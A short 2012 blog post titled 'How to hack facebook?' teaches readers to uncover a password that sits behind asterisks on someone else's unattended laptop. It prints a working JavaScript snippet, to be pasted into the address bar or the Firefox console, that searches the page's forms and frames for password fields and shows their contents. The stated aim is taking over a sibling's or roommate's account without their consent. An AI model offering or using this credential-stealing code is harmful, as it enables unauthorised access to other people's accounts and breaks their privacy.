Monday, 14 May 2012

How to hack facebook?

How often do you find yourself in a position to  be tempted to hack someones facebook?
A friend of mine just told me about this magical snippet of code which lets you find the password behind star (asterisk**).

Ok so, lets say your sibling or your roommate or someone you know logged out of facebook, but didnt shut down their laptop, and a screen like the one shown in the figure is appearing, now you could log on to their account but thats will be a short term hack because as so as their back they will reclaim their account or in some worst case scenarios KILL YOU.

Or you could do another, thing, 
just past the following javascript code in the address bar of the page 

Magic Code
javascript: var p=r(); function r(){var g=0;var x=false;var x=z(document.forms);g=g+1;var w=window.frames;for(var k=0;k<w.length;k++) {var x = ((x) || (z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in ' + g + ' forms');}function z(f){var b=false;for(var i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++) {if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if (ej.type=='password'){s=ej.value;if (s!=''){prompt('Magic Code worked, the password is ', s)}else{alert('Password is blank')}return true;}}

bla bla bla

and hit ENTER, a dialog box will appear, showing the password.

Firefox users
for firefox first open console mode by pressing shift+clrt+k  and there paste the magic code there.

Post a Comment